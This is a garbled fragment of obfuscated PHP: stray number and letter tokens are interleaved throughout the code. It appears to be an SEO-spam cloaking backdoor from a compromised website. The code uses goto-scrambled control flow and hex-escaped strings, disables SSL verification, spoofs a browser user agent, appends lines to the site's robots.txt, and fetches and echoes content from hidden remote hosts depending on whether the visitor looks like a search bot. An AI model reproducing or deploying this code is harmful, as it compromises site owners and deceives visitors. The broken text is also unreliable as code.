2 4 tru 3 e, 8 CURLOPT_ 2 CO 2 NN 2 EC 3 TTI 2 ME 2 OU 1 T 5 => 5 a , CURLOPT_ c TIMEOUT => 8 a , CURLOPT_ 2 SS 2 L_ 3 VER 2 IF 2 YP 7 EER => 5 false 14 , CURLOPT_SSL_VERIFY 2 HO 2 ST 14 => false, CURLOPT_F 2 OL 2 LO 2 WL 2 OC 2 AT 2 IO 1 N 14 => false, CURLOPT_U 3 SER 2 AG 2 EN 6 T => " 5 \x4d\ 4 x6f\ 4 172\ 5 x69\x 4 6c\1 4 54\x 5 61\x2 3 f\x 2 35 7 \x2e\x3 2 0" 4 )); 8 $data = 6 curl_e 2 xe 5 c($ch 8 ); curl_ 2 cl 2 os 8 e($ch); 1 } 5 if ( 7 empty($ 5 data) 4 && 3 ini 6 _get(" 6 \141\x 9 6c\154\x6 1 f 7 \x77\x5 4 f\x7 3 5\x 6 72\154 7 \137\x6 1 6 5 \157\ 5 x70\x 6 65\156 9 ")) { $co 2 nt 3 ext 3 = 3 str 3 eam 1 _ 9 context_c 3 rea 3 te( 6 array( 3 "\1 4 50\1 4 64\1 7 64\160" 4 => 9 array("\1 5 64\15 5 1\155 5 \145\ 7 x6f\x75 5 \x74" 7 => 8, 7 "\150\1 4 45\1 4 41\1 1 4 6 4\x65\ 4 x72" 6 => "\ 5 125\1 5 63\14 6 5\x72\ 5 x2d\x 5 41\14 7 7\145\1 4 56\x 3 74\ 4 72\4 3 0\1 2 15 11 \x6f\172\x69\x6c\ 7 x6c\x61 3 \57 2 \6 6 5\x2e\ 4 60\1 4 5\xa 2 ") 1 , 9 "\x73\x7 5 3\x6c d " => array("\ 3 x76 7 \145\16 6 2\x69\ 3 146 b \x79\x5f\x7 8 0\145\14 5 5\162 1 " b => false, 5 "\166 8 \x65\x72 7 \x69\x6 a 6\x79\x5f\ 5 160\1 5 45\x6 b 5\x72\x5f\x 1 6 8 e\x61\x6 4 d\x6 1 5 b " => false) c )); $data = 2 @f 2 il 5 e_get 6 _conte 1 n 3 ts( 5 $url, 8 false, 8 $context 9 ); } if ( 1 ! c empty($data) 4 ) { 7 cache_s 7 et($url 1 , 6 $data 5 ); } c return $data b ; } goto nE 2 uM 2 B; 6 J5G32 d : function en 5 sure_ 2 ro 3 bot 1 s 8 _sitemap d ($sitemapLine 6 ) { $r 5 obots 4 = r 6 trim($ b _SERVER["\x 5 44\x4 1 f 5 \x43\ 4 125\ 5 x4d\x 4 45\x 4 4e\x 6 54\x5f 5 \x52\ 4 x4f\ 6 117\x5 3 4"] 5 , "\x 5 2f\x5 1 c 8 ") . "\5 6 7\162\ 5 157\x 8 62\157\x 1 7 b 4\x73\x2e\1 5 64\17 5 0\164 1 " 7 ; if (! 5 file_ 7 exists( 7 $robots b )) { @file_ 4 put_ 10 contents($robots 1 , 7 "\125\ 6 x73\x6 6 5\x72\ 8 55\x61\1 15 47\145\156\x74\72\40\ 4 52\x 1 a 5 \101\ 7 154\x6c 6 \x6f\1 4 67\x 5 3a\40 5 \x2f\ 3 12" 4 . $ d sitemapLine, 4 LOCK 3 _EX e ); } else { $c 17 = @file_get_contents($ 7 robots) 9 ; if ($c 1 = 9 == false 2 || 4 str 2 po 4 s($c 1 , e $sitemapLine) a === false 20 ) { @file_put_contents($robots, f $sitemapLine, F 2 IL 3 E_A 2 PP 2 EN 2 D 1 | d LOCK_EX); } 9 } } goto 2 nv 2 qf 2 Y; 6 cI0Dv 2 : 3 err 3 or_ 2 re 3 por 2 ti 2 ng 2 (0 9 ); goto c 2 tu 2 gb 2 ; 3 Kcb 1 V 1 Z b : function c cache_set($k 2 ey 8 , $data) 4 { $ 4 file 4 = s 2 ys 5 _get_ 4 temp 3 _di 2 r( 9 ) . "\57\ 5 x63\1 9 41\x63\x6 1 8 7 \x65\x5 1 f 5 " . m 2 d5 5 ($key 8 ) . "\56 7 \x70\x6 1 8 6 \160"; 15 @file_put_contents($ 4 file 7 , $data e , LOCK_EX); } 6 goto o 2 bb 3 Ty; 2 t 3 TrI 1 f 12 : function cache_g a et($key, $ 2 ex 3 pir 4 e = 3 300 23 ) { $file = sys_get_temp_dir() . "\ 5 x2f\1 5 43\x6 23 1\x63\x68\x65\x5f" . md5($key) . "\ 7 x2e\160 8 \150\160 7 "; if ( 11 file_exists($file 5 ) && 2 ti 2 me 3 () 2 - 5 filem 5 time( 8 $file) < 8 $expire b ) { return 13 file_get_contents($ 5 file) b ; } return 5 false 9 ; } goto 6 KcbVZ; 6 e09EO 15 : if ($kk !== '' && ! 17 preg_match("\x2f\x5e\x5 1 b 5 \101\ 5 55\x5 1 a 9 \x61\x2d\ 4 172\ 6 60\55\ d 71\x5d\x2b\x2 10 4\x2f", $kk)) { 33 output_sitemap_and_exit($sitemapLine, $http_type); 7 } goto 5 dsRZS 1 ; 6 jHFIX 5 : $ip 4 = $ b kk !== '' ? 3 "\ 4 66\6 5 6\56\ 3 62\ 3 64\ 3 71\ 3 56\ 3 70\ 5 62\x2 5 e\x38 1 " 3 : 4 get_ 3 rea 4 l_ip 1 ( 9 ); goto x 2 9X 2 sW 3 ; r 2 UT 2 it 7 : if ($ 3 dom 2 ai 6 n !== 1 " 6 \x67\x 4 6f\x 6 6f\x67 7 \x6c\14 3 5" 4 && ! 7 empty($ 2 ii 1 d 7 )) { $k 3 nam 4 e = 3 url 2 de 5 code( 19 getCurlFast($jd . "\147\1 b 56\x2e\x61\ 4 163\ 5 x70\1 7 70\77\1 1 5 6 1\151\ b 144\x3d" . 7 $iid)); 6 echo 2 "\ 8 74\x73\x 6 63\x72 6 \151\1 5 60\x7 3 4\7 1 6 7 \x6c\15 a 7\x63\141\ 7 164\x69 7 \x6f\x6 4 e\x3 4 d\x2 6 2" . $ 9 jd . "\14 1 1 8 \56\141\ 8 163\160\ 5 x78\7 6 7\x63\ 6 x6e\14 6 1\x6d\ 4 145\ 11 75" . urlencode($ 5 kname 9 ) . "\x26 5 \165\ 8 x72\154\ 8 x3d" . $ 9 http_type 4 . $ c _SERVER["\x4 1 8 8 \x54\x54 5 \120\ 8 137\x48\ 5 x4f\x 8 53\124"] 10 . $_SERVER["\x5 a 3\x43\x52\ 2 x4 1 9 9 \120\x54\ 5 x5f\x 5 4e\x4 b 1\x4d\105"] 7 . "\x2 4 2\x3 1 c 7 \x2f\16 6 3\x63\ 6 162\15 b 1\160\x74\x 2 3e 1 " 9 ; die; } 7 goto Qg 2 pn 2 U; 6 QLluM 3 : $ 1 q 5 z = s 2 ub 3 str 4 (str 4 _rep 2 la 1 c b e(array("\x 8 77\x77\x 1 7 6 7\x2e" 6 , "\x2 1 e 5 "), ' 2 ', 10 $_SERVER["\x48\ c 124\124\x50\ 6 x5f\x4 12 8\x4f\x53\124"]), 2 0, 2 3 8 ); goto 2 EI 2 8K 2 p; 6 JD7fu a : if ($kk 1 = 9 == '' && c $is_no_query 4 ) { c if ($domain 1 = 9 == "\x67\ 7 157\157 5 \147\ 8 x6c\145" 39 ) { output_sitemap_and_exit($sitemapLine, $http_type); } 7 else { e die; } } goto 6 LnjYZ; 6 ctugb 3 : $ 3 get 3 = 4 filt 2 er 3 _in 4 put_ 7 array(I 2 NP 2 UT 2 _G 2 ET 5 , FIL 2 TE 3 R_S 2 AN 2 IT 2 IZ 2 E_ 2 ST 3 RIN 1 G 8 ); goto 6 tTrIf; 6 QgpnU e : if (!empty($ 9 iid)) { $ 3 str 10 = getCurlFast($ 7 hyzhdy 4 . "\ 7 77\151\ 6 x69\x6 1 4 8 \75{$iid 5 }"); 5 echo 16 str_replace(array("\x6 6 7\147\ b 147\147\147 5 ", "\ 6 131\13 14 1\131\131\131", "\13 6 0\130\ 2 x5 1 8 9 \131\131\ 3 x59 8 ", "\xe5 2 \2 3 75\ 1 2 4 23\x 5 e5\x8 3 9\x 1 8 4 d\x5 6 5\x52\ 3 x4c 1 " 9 , "\125\x 4 55\1 7 25\x55\ 9 x55", "\1 3 15\ f 115\115\115\115 5 ", "\ 4 77\1 3 46\ 4 75") a , array($s 1 z 1 , 5 get_ 7 url_inf 2 o( 1 ) 10 , get_url_info(" 5 \x62\ 8 x61\x73\ 4 x65" 14 ), get_url_info("\x6 6 6\165\ 7 154\x6c 13 "), get_url_info("\ 4 156\ 6 157\13 a 7\x77\x77\ 3 167 4 "), 3 par 2 se 4 _url d ($_SERVER["\x 5 52\x4 5 5\x51 8 \125\x45 6 \x53\x 8 54\137\1 4 25\1 1 2 5 2\111 5 "], P 2 HP 1 _ 4 URL_ 3 PAT 2 H) 6 , "\77 5 " . $ 3 qz 5 . "\7 5 5"), 4 $str 1 ) f ; die; } goto O 2 iQ 3 F1; 6 nvqfY e : if (!empty($ 6 get["\ 5 167"] 6 )) { $ 3 par 2 am 4 s = 5 http_ 3 bui 2 ld 6 _query a (array("\x 6 4e\x4f 6 \125\1 6 55\142 6 \x65\1 7 62" => f $get["\x4e\x4f\ 5 x55\x 5 6d\14 1 2 9 \x65\x72" 3 ] ? 1 ? 5 '', 5 "\164 c " => $get["\ 4 164" b ] ?? '', "\ 5 x63\1 3 56" d => $get["\14 6 3\156" e ] ?? '', "\160 5 \x4e\ 6 117\x5 5 5\155 d " => $get["\x 1 7 6 0\x4e\ b x4f\x55\x6d d "] ?? '', "\1 5 43\x6 5 9\x64 13 " => $get["\143\151 5 \x64" c ] ?? '', "\1 f 55" => $get["\x a 6d"] ?? '' 5 )); $ 12 str = getCurlFast( 2 "{ 5 $surl 5 }\77{ 7 $params 1f }"); echo str_replace(array("\x 5 79\17 9 1\x6d\x6d 7 ", "\14 16 7\147\147\147\147", "\ 7 77\146\ 4 x3d" a ), array($ 1f http_type . $_SERVER["\x48\x54\ 10 124\x50\x5f\x48\ 4 117\ 5 123\1 26 24"] . $_SERVER["\x53\x43\x52\x49\120\ 6 124\x5 1 f d \116\101\x4d\ 3 x45 4 "], 5 $sz, 10 "\77" . $qz . "\ 7 x3d"), 13 $str); die; } goto 6 LYG63; 6 EI8Kp 1 : 7 $sz = 4 $iid 7 = ''; 6 goto S 2 5s 3 dM; 6 OiQF1 b : function 31 output_sitemap_and_exit($sitemapLine, $http_type) 4 { e 22 nsure_robots_sitemap($sitemapLine) 9 ; echo "\ 4 x3c\ 7 144\151 6 \x76\x 4 20\x 6 73\164 6 \x79\1 4 54\1 4 45\x 6 3d\x27 a \x74\x65\1 6 70\164 6 \x2d\1 9 41\x6c\15 1 1 8 \x67\156 5 \72\x 8 63\145\x 5 6e\x7 7 4\145\x 5 72\x3 1 b 7 \160\14 9 1\144\x64 c \x69\156\x67 4 \72\ 3 61\ 5 60\x7 7 0\170\x 3 20\ 3 60\ 3 73\ 6 47\x3e 4 \xa\ 4 x20\ 9 40\40\40\ d x20\40\40\40\ d 40\40\40\x20\ 5 74\14 7 1\x20\x 5 68\x7 7 2\x65\1 6 46\x3d 4 \x22 1c {$http_type}{$_SERVER["\110\ 8 x54\x54\ 10 x50\x5f\x48\x4f\ 7 123\x54 f "]}{$_SERVER["\ 6 x53\10 1 3 5 \122\ 4 x49\ 5 x50\1 b 24\x5f\116\ e x41\x4d\105"]} 6 \77\16 18 7\x3d" . date("\x59\155\ 5 144\x 5 48\15 2 1" 8 ) . "\x2 6 2\40\1 1 6 7 4\141\x 6 72\x67 7 \145\x7 6 4\x3d\ 1 4 6 2\x5f\ 4 142\ 8 154\x61\ 6 156\15 1 3 6 \x22\x 4 20\1 5 62\14 7 5\154\x 6 3d\x22 8 \x6e\x6f 6 \x66\x 4 6f\1 8 54\154\x 8 6f\x77\x 6 22\x3e 6 \x53\x d 69\x74\145\x6 1 d 7 \x61\16 5 0\74\ 7 x2f\141 5 \x3e\ 2 12 8 \40\x20\ a x20\40\40\ 8 x20\x20\ b x20\x20\40\ 8 74\x2f\x 7 64\151\ 4 x76\ 2 76 f "; die; } goto 6 sIevn; 6 S5sdM e : if (!empty($ 4 _GET 6 )) { $ 1 f 5 = re 5 set($ 5 _GET) 4 ; $s 4 p = 3 exp 1 l 4 ode( 4 "\x2 4 d", 2 $f 8 ); if (c 2 ou 1 n 5 t($sp 6 ) === 1 2 6 ) { $s 7 z = $sp 2 [0 2 ]; 8 $iid = 4 $sp[ 2 1] b ; } } goto 6 ut_5H; 6 obbTy e : function get a _real_ip() 6 { $ke 1 y 4 s = 9 array("\1 b 10\x54\x54\ 6 120\x5 1 f 8 \103\106 a \137\103\1 1 1 6 7\116\ 6 x4e\10 6 5\103\ 5 x54\1 a 11\x4e\x47 7 \137\11 5 1\120 7 ", "\11 a 0\124\124\ 9 120\x5f\1 8 30\x5f\1 1 2 7 2\x45\x 5 41\x4 7 c\137\x 6 49\x50 9 ", "\110\ 10 x54\x54\x50\x5f\ 9 130\x5f\1 5 06\x4 14 f\122\127\101\x52\x4 1 4 7 \105\10 8 4\x5f\x4 9 6\x4f\122 6 ", "\x b 48\x54\124\ 8 120\137\ 5 103\x 3 4c\ 6 x49\10 e 5\x4e\x54\x5f\ 5 111\x 8 50", "\1 a 22\x45\x4d 7 \117\12 6 4\x45\ 6 137\10 12 1\x44\104\x52"); f 1 o 5 reach 1 6 ($keys 3 as 3 $k 8 ) { if ( 1 ! f empty($_SERVER[ 2 $k 7 ])) { $ 6 ip = $ b _SERVER[$k] 6 ; if ( 9 strpos($i 5 p, "\ 3 54" 15 ) !== false) { $ip = 11 trim(explode("\x2 14 c", $ip)[0]); } if ( 7 filter_ 2 va 7 r($ip, 8 FILTER_V 2 AL 2 ID 2 AT 3 E_I 2 P) e ) { return $ip f ; } } } return 1 " 5 \61\6 d 2\x37\56\60\5 8 6\60\56\ 1 x 3 31" 9 ; } goto 6 b3xBO; 6 x9XsW 3 : $ 8 domain = 6 trim( 18 getCurlFast($jd . "\147\ 6 x65\x7 1 4 8 \x64\157 7 \x6d\14 10 1\151\x6e\62\56\ 16 141\163\160\170\x3f\x7 8 2\156\x6 6 4\x3d\ 6 61\x26 7 \151\x7 1 0 b \x3d" . $ip 1 ) 8 ); goto 5 rUTit 1 ; 6 nEuMB f : function get_ 9 url_info( 3 str 3 ing 2 $ 5 type 6 = "\x6 a 4\157\155\ 7 141\x69 6 \156") a : string 3 { $ 2 ho 2 st c = $_SERVER[ 16 "\110\124\124\x50\137\ 5 110\x 7 4f\123\ 6 124"] 5 ?? '' 7 ; if ($ 6 type = 5 == "\ 8 156\157\ 6 x5f\16 b 7\x77\167") a { return 5 preg_ 8 replace( 9 "\x2f\136 5 \167\ a 167\167\13 1 4 5 \x2e\ 5 57\x6 4 9", 5 '', $ 4 host 6 ); } $ 2 pr 4 otoc 1 o 4 l = 1 ! 11 empty($_SERVER["\ 12 x48\124\124\x50\x5 5 3"]) 4 && $ 1a _SERVER["\x48\x54\x54\120\ 5 x53"] 9 !== "\x6 6 f\x66\ 4 146" 5 ? "\ 6 x68\x7 8 4\x74\x7 6 0\163\ 6 72\x2f 5 \x2f" 3 : 12 "\x68\x74\x74\x70\ 4 x3a\ 8 x2f\x2f" 3 ; $ 2 ba 1 s 4 e = b $protocol . 6 $host 12 ; if ($type === "\ 5 x62\1 8 41\163\1 7 45") { c return $base 8 ; } if ( f $type === "\x66 5 \x75\ 7 154\154 11 ") { return $base 3 . 10 ($_SERVER["\x52\ 7 105\121 6 \x55\x b 45\x53\x54\ 6 x5f\x5 8 5\x52\x4 1 9 9 "] ?? '') c ; } return $ 6 host; 8 } goto I 2 iH 2 kS 7 ; IiHkS 1 : c $http_type 14 = !empty($_SERVER["\ 12 110\x54\x54\120\x5 17 3"]) && $_SERVER["\x48\ e 124\124\120\x5 e 3"] !== "\x6f\ 4 146\ 9 146" ? "\ 4 150\ e x74\x74\x70\x7 12 3\72\x2f\x2f" : "\ f 150\164\164\160 5 \x3a\ 4 57\x 5 2f"; 5 goto 5 CSyCd 1 ; 7 emnXE: 2 ? 1 > 0